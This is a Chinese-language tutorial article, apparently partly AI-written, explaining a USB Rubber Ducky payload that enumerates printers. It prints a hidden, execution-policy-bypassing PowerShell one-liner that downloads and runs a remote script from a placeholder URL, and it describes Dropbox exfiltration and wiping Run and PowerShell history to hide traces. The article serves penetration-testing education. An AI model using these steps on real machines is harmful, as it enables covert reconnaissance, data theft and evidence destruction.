☰
Printer-Recon:用USB Rubber Ducky枚举打印机的另类侦察技术
2026/10/7 14:09:50 网站建设 项目流程

Printer-Recon:用USB Rubber Ducky枚举打印机的另类侦察技术

【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads

Printer-Recon 是一款基于USB Rubber Ducky的打印机信息枚举载荷:插入设备后,它会自动打开"运行"框,下载并执行一段 PowerShell 脚本,把目标机器的打印机名称、类型、驱动名、共享状态和位置信息收集成文件,再上传到指定网盘,最后清理临时文件与历史记录。这是渗透测试中一种容易被忽视、却很有价值的内网侦察技巧。

为什么打印机是侦察盲区?

大多数人对"打印机"的认知还停留在"打印文件"上,但在安全视角下,打印机是一座信息金矿:

枚举字段侦察价值
Name(打印机名)可能暴露部门、楼层、设备编号等内部命名规范
DriverName(驱动名)可定位驱动版本,为后续打印机驱动漏洞利用提供依据
Shared(是否共享)发现共享打印服务器,往往就是域内高价值目标
Location(位置)物理位置信息,可用于社工与横向移动规划

此外,许多网络打印机带有Web 管理界面,摸清打印机分布后,就能顺藤摸瓜找到这些暴露在局域网里的"小设备"。正如项目 README 中对该载荷的描述:

This payload is meant to exfiltrate printer information for further social engineering or driver exploitation.

上图展示了典型的 USB Rubber Ducky 载荷工作目录:payloads 源码、encoder 编码器与编译产物 inject.bin,正是本载荷的部署形态。

载荷目录解析:3 个文件各司其职

Printer-Recon 位于仓库的payloads/library/exfiltration/分类下,目录结构非常精简:

  • payload.txt —— DuckyScript 键盘注入脚本("第 1 阶段")
  • PR.ps1 —— 真正的枚举与外传脚本("第 2 阶段")
  • README.md —— 使用说明与作者信息(作者:atomiczsec)

这种"注入脚本 + 外部脚本"的组合就是官方文档反复提到的Staged Payloads(分阶段载荷)模式:DuckyScript 只负责"点火",复杂逻辑全部交给外部脚本完成,既省存储空间又便于维护。

执行原理:运行框 + 分阶段下载

整个攻击链可以拆成 4 步,全程无需用户交互:

  1. 等待 2 秒,按下Win + R呼出"运行"框;
  2. 输入 PowerShell 一行命令(对应 payload.txt 第 16 行):powershell -w h -NoP -NonI -ep Bypass $pl = iwr TARGET_URL dl=1; iex $pl其中-w h隐藏窗口,-NoP不加载 Profile,-ep Bypass绕过执行策略;
  3. 从TARGET_URL下载脚本到内存并执行——这里用的是内存执行(iex),磁盘上不留 exe 文件;
  4. 脚本执行完毕,目标用户往往毫无察觉。

⚙️ 使用前需要做的唯一配置:把 payload.txt 第 9 行 的DEFINE TARGET_URL example.com替换为你自己托管 PR.ps1 的共享链接。仓库规范也要求用DEFINE常量 + 占位域名来管理这类配置,方便复用。

外传机制:Dropbox 上传 + 自我清理

第二阶段脚本 PR.ps1 一共做了三件事:

① 枚举并落地—— 核心就一行(PR.ps1 第 40 行):

Get-Printer | Select-Object Name, Type, DriverName, Shared, Location

结果写入临时目录,文件名自动带上当前用户名与时间戳,方便攻击者区分多台受害机器。

② 上传外传——DropBox-Upload函数通过 REST API 把结果文件推到 Dropbox,攻击者在自己的网盘里就能拿到数据。

③ 痕迹清理——Clean-Exfil函数(PR.ps1 第 22 行)会:清空临时文件夹、删除"运行"框历史记录(RunMRU 注册表项)、删除 PowerShell 历史记录、清空回收站——尽可能不让 defenders 留下线索。

类似的外传接收端视图:USB Rubber Ducky 载荷将采集到的数据通过 HTTP POST 发到攻击者可控的接收点,本例中则是上传到 Dropbox。

同类侦察载荷横向参考

如果你想继续学习 USB Rubber Ducky 的侦察与外传技巧,仓库里还有这些"近亲"值得一读:

  • Dropbox-Bandit —— 同样基于 Dropbox 的浏览器凭证外传
  • Proton-Hog —— 用 Proton 邮件作为外传通道
  • Priv-Paths —— 提权路径信息收集
  • Gather_Network_Info —— 网络配置信息收集
  • recon 分类目录 —— 系统枚举、网络测绘等完整侦察系列
  • DuckyScript 语法示例 —— ATTACKMODE、循环、变量等基础教程

想自己编写载荷?仓库根目录的 README.md 详细说明了 DuckyScript、PayloadStudio 编译流程与提交规范,键盘布局配置在 languages/us.json。

使用须知与合规提醒

⚠️ 本载荷与仓库中所有内容仅用于安全学习和授权渗透测试:

  • 只在你拥有书面授权的靶机、实验环境或自有设备上运行;
  • 替换TARGET_URL前确认外传服务合法可用,切勿使用他人账号;
  • 未经授权在他人设备上运行此类载荷属于违法行为,一切后果自负。

打印机不会喊"救命",但它泄露的信息可能比任何一台服务器都更有价值——这正是 Printer-Recon 的魅力所在。

【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询